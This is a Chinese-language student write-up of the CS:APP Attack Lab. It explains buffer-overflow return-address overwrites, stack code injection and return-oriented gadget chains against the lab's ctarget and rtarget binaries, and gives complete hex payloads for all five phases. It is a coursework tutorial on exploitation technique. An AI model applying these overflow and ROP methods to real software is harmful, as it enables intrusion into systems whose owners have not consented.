个人感觉非常有意思的一个 Lab，涉及的知识面比较窄，主要关注 缓冲区溢出漏洞 这一个方面，并基于此进行代码攻击，体验一把做黑客的感觉，对应知识点为书中的 3.10 节内容。
这个 Lab 上手便给了我当头一棒，在环境配置上琢磨了好一阵。直接运行 ./ctarget -q ，程序没有让进行输入，而是直接触发了段错误，后来尝试在跑在学校的 Linux 服务器上得以正常运行，原因不明，推测是 WSL 的锅？？
phase_1
在倒腾好环境之后，终于可以开始着手完成实验了。
phase_1 要求我们在调用 getbuf 读取标准输入后，不返回到 test 函数接着执行 printf，而是转而执行 touch1.
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
可以利用书中 3.10.3 节提到的知识，向缓冲区中写入过量的数据，大到足以覆盖掉调用 getbuf 时压入栈中的返回地址，将其修改为我们想要跳转执行的程序的起始地址，即可达成目的。
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
观察上述函数 getbuf 的汇编代码，从第一条指令 sub $0x28,%rsp，可以看到函数 getbuf 的栈帧大小为 40 字节。因此要对返回地址进行写入修改，我们可以先写入 40 字节的任意数据，然后再写入 8 字节的目标地址。
这里的“任意”并非真的任意，因为最终的输入是通过字符串的形式来完成的，因此有些特定的字符可能会导致异常，例如 ‘\n’（对应 ASCII 码为 0x0a），这里我选用的 0x3f（向灵神致敬😄）。
最终的攻击数据如下所示：
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
c0 17 40 00 00 00 00 00 // 目标地址
可以借助 hex2raw 工具将 16 进制转换为对应的字符串，再管道给 ctarget 即可。
cat phase_1.txt | ./hex2raw | ./ctarget -q
phase_2
phase_2 相较于相较于 phase_1，由于要验证参数的正确性，因此只是跳转到目标程序位置还不够，还需要设置参数的值。但原始程序中并没有相关的代码，那参数的值应该如何设置？
这里必须要有一个理念：站在存储的角度，程序与数据并没有区别，它们都是由 0 和 1 组成的比特流。因此，设置参数的代码我们可以自行编写，将其当作数据进行传入，这样的操作称之为 代码注入(code injection) 。最后将我们编写的程序的地址作为返回地址，这样，当程序从 getbuf 返回时，就会跳转到我们先前注入的代码，从而达成目的。
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
一种有效的注入代码完成的操作如下：
- 写入寄存器
%rdi的值，使其等于 cookie. - 跳转到程序
touch2处。
关于跳转，实验手册中推荐使用 ret 指令，它可看作是两个步骤的综合：首先从栈中弹出地址 A，然后将 PC 值设置为 A。因此想要跳转到 touch2，可以先使用 push 将 touch2 的地址压入栈中，然后使用 ret 实现跳转。
对于指令的二进制表示，可以先编译： gcc -c ./injec.s，再反汇编：objdump -d ./injec.o 得到。
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 8b 3c 25 e4 44 60 mov 0x6044e4,%rdi
7: 00
8: 68 ec 17 40 00 pushq $0x4017ec
d: c3 retq
另外，要想跳转到注入代码的位置，我们必须首先知道它的地址，由于 ctarget 没有使用 栈随机化（stack randomization） ，因此我们完全可以先借助 GDB 打印出调用 Gets 前的栈指针值，再根据注入代码相较于栈指针的偏移计算得到。
最终的攻击数据如下所示：
48 8b 3c 25 e4 44 60 00
68 ec 17 40 00 c3 00 00
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
78 dc 61 55 00 00 00 00
最后，想吐槽一点，Attack Lab 貌似没法 GDB 调试 getbuf ？没了调试，在一些简单的错误上面卡半天。。。
phase_3
phase_3 和 phase_2 很类似，只不过参数由整数换成了字符串，不过思路都是大抵相同的。
void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
字符串相较于整数，无外乎多了一层 indirection ，也就是指针。我们只需要预先在某个地址 addr 处将字符串数据进行存储，后续将字符串参数设置为 addr 即可，同样，addr 的值可根据相对于栈的偏移量得到。
注入的代码如下：
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 88 dc 61 55 mov $0x5561dc88,%rdi
7: 68 fa 18 40 00 pushq $0x4018fa
c: c3 retq
而字符串 "59b997fa" 的 ASCII 码表示为：35 39 62 39 39 37 66 61 00，最后的 00 表示 NULL，即 C 语言字符串的终结符。
这里我遇到了一点问题，这是错误的攻击数据：
48 c7 c7 88 dc 61 55 68
fa 18 40 00 c3 00 00 00
35 39 62 39 39 37 66 61
00 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
78 dc 61 55 00 00 00 00
上面的答案看似没有问题，但是实际上忽略了很重要的一点，字符串的值存放在 getbuf 的栈帧中（0x5561dc78 ~ 0x5561dc98），在完成字符串正确性检验之前，字符串的值都应该 保持不变 。而实际上在函数 getbuf 返回后，它的栈帧空间将会被回收，留给 touch3 和 hexmatch 分配使用，且观察反汇编代码发现分配给 hexmatch 的栈帧空间大于 40 字节，这必然导致 getbuf 栈帧数据被破坏，也就导致了错误。
一种正确的方式是将字符串数据写入 test 栈帧或更高地址处，因为实验只要求成功触发 touch，而并不要求正确返回到之前的调用过程，因此破坏之前的栈帧对结果无影响。
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00
phase_4
后面的两个实验需要攻击程序是 rtarget，相较于 ctarget，它引入了很多安全措施，例如栈随机化、限制可执行代码区域等，因此攻击起来更为困难。
参考实验手册，其中介绍了一种很有意思的攻击方法：不手动注入代码，而是借助已存在的代码，将其重组为我们需要的攻击代码。其中，一个以 ret 指令结束的指令序列，称之为一个 gadget，一连串的 gadget 被调用将会产生等价于代码注入的效果。
想法很美好，但是实施起来的过程还是比较痛苦的，要想组合出有效的 gadget，需要仔细对照指令的字节表示和 farm 的反汇编代码，这部分我也是大量 抄袭了 参考了其他人的做法。
一种正确的 gadget 组合如下：
# gadget1
00000000004019ab <addval_219 + 4>:
58 pop %rax
90 nop
c3 ret
# gadget2
00000000004019c5 <setval_426 + 2>:
48 89 c7 movq %rax,%rdi
90 nop
c3 ret
返回地址为 0x4019ab，即 gadget1 的起始地址，然后栈中从低到高依次存放：cookie 的值、gadget2 的起始地址、touch2 的起始地址。
这里要注意出栈是从低地址向高地址方向，与入栈相反。
最终的攻击数据如下：
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
phase_5
最后 phase_5 的 gadget 构造非常复杂（官解是用了 8 个），在 CMU 的实验中也是属于选做的部分，完成前四个已经有 95 分了，因此这里也只介绍一些问题和思路。
前面提到，rtarget 引入了栈随机化，这会带来的问题是：在指定参数 sval 时，无法显式地指定地址，而需要依靠间接寻址，即栈指针 %rsp 加上一个相较于它的偏移量。我们可以先确定哪条指令根据栈指针的值计算字符串参数，记录下它的位置和字符串存放位置的偏移量，作为数据一并存入栈中，后续再取出进行计算。
以下是一种正确的 gadget 实现：
# gadget1
00000000004019ab <addval_219 + 4>:
58 pop %rax
90 nop
c3 ret
# gadget2
00000000004019dd <getval_481 + 2>:
89 c2 movl %eax,%edx
90 nop
c3 ret
# gadget3
0000000000401a69 <getval_481 + 1>:
89 d1 movl %edx,%ecx
08 db orb %bl,%bl
c3 ret
# gadget4
0000000000401a13 <addval_436 + 2>:
89 ce movl %ecx,%esi
90 nop
90 nop
c3 ret
# gadget5
0000000000401aad <setval_350 + 2>:
48 89 e0 movq %rsp,%rax
90 nop
c3 ret
# gadget6
00000000004019a2 <addval_273 + 2>:
48 89 c7 movq %rax,%rdi
c3 ret
# gadget7
00000000004019d6 <add_xy>:
48 8d 04 37 lea (%rdi,%rsi,1),%rax
c3 ret
# gadget8
00000000004019a2 <addval_273 + 2>:
48 89 c7 movq %rax,%rdi
c3 ret
攻击数据的构造和 phase_4 很类似，就不过多赘述了。
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
ab 19 40 00 00 00 00 00
20 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
69 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
ad 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
00
扫一扫
539
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
